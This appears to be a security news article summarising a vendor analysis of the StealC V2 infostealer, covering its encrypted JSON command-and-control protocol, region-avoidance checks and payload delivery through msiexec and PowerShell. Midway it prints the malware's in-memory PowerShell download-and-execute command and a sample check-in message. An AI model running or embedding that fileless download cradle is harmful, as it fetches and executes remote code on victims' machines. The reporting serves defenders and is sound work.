StealC V2: The Next Evolution of an Infostealer Threat
First surfacing in early 2023, StealC has steadily gained traction among cybercriminals for its dual role as an infostealer and malware delivery tool. Fast forward to March 2025, and it has returned in a far more dangerous form—StealC V2, a revamped strain designed with agility, stealth, and customization at its core.
This second-generation variant introduces a leaner, more resilient command-and-control (C2) architecture. Enhanced with RC4 encryption, the new protocol makes C2 traffic harder to detect, complicating both forensic analysis and automated defense mechanisms.
Where the original StealC was limited to executing classic EXE and DLL payloads, V2 broadens its arsenal by supporting MSI installers and PowerShell-based attacks. This expansion gives adversaries a far more flexible attack surface and deeper reach across environments with varying levels of protection.
Notably, the threat actor backend has also been overhauled. V2’s redesigned web interface now features an integrated payload builder and granular delivery logic. Operators can tailor attack parameters to targets using attributes like geo-IP, HWID, and installed software profiles, making campaigns significantly more evasive and targeted.
Further upgrades include support for multi-screen screenshot collection, an all-in-one file harvesting module, and even credential bruteforce capabilities executed directly from the command server.
Researchers at Zscaler uncovered that StealC V2 now communicates using a structured JSON-based protocol, another sign of its increasingly modular, developer-grade architecture.
Inside StealC V2: An Adaptive Threat Built for Evasion
According to Zscaler’s analysis, StealC V2 showcases a refined execution logic that prioritizes stealth and system awareness before deploying its full payload. At its core, the malware begins by performing internal checks to avoid redundant infections and—critically—to sidestep systems configured with languages commonly used in the Commonwealth of Independent States (CIS). This strongly suggests a deliberate intent to avoid drawing attention in specific geopolitical regions.
Once it clears these preflight conditions, StealC initiates contact with its command infrastructure. The first step is an infection registration, where it transmits a unique machine identifier and campaign tag—referred to as HWID and build ID, respectively. The JSON format used is minimal yet structured:
json
{
“build”: “main1”,
“hwid”: “A9CAA24C-E7F3-3B20-0F54-4BE8A7DC2330”,
“type”: “create”
}
StealC V2’s Payload Flexibility: A Leap Beyond Tradition
The real evolution in V2 lies in its payload deployment strategy, which now supports execution via native Windows tools—offering stealth, persistence, and versatility.
For MSI-based payloads, the malware leverages msiexec.exe with silent execution flags (/passive), effectively suppressing user-facing prompts. If the operation fails, StealC demonstrates persistence by retrying up to ten times, a feature rarely seen in more basic droppers.
PowerShell-based attacks are handled differently. Here, StealC opts for a memory-resident execution pattern, directly invoking:
Powershell
powershell.exe -nop -c iex(New-Object Net.WebClient).DownloadString(‘[payload]’)
This command allows the malware to pull and run scripts from a remote source without leaving traces on disk, bypassing many file-based detection methods. Interestingly, this vector lacks the retry mechanism seen in MSI delivery—suggesting the malware developers assess PowerShell-based infections as either more reliable or lower risk.
Blending In by Design
What makes StealC V2 particularly dangerous is its use of trusted Windows utilities—from msiexec to PowerShell—to carry out malicious actions under the radar. These built-in tools lend the malware an air of legitimacy that helps it slip past security controls tuned to watch for standalone executables or known malware binaries.
The outcome is a toolkit that doesn’t just infect—it adapts, blends, and persists, underscoring the level of engineering increasingly seen in today’s malware operations.
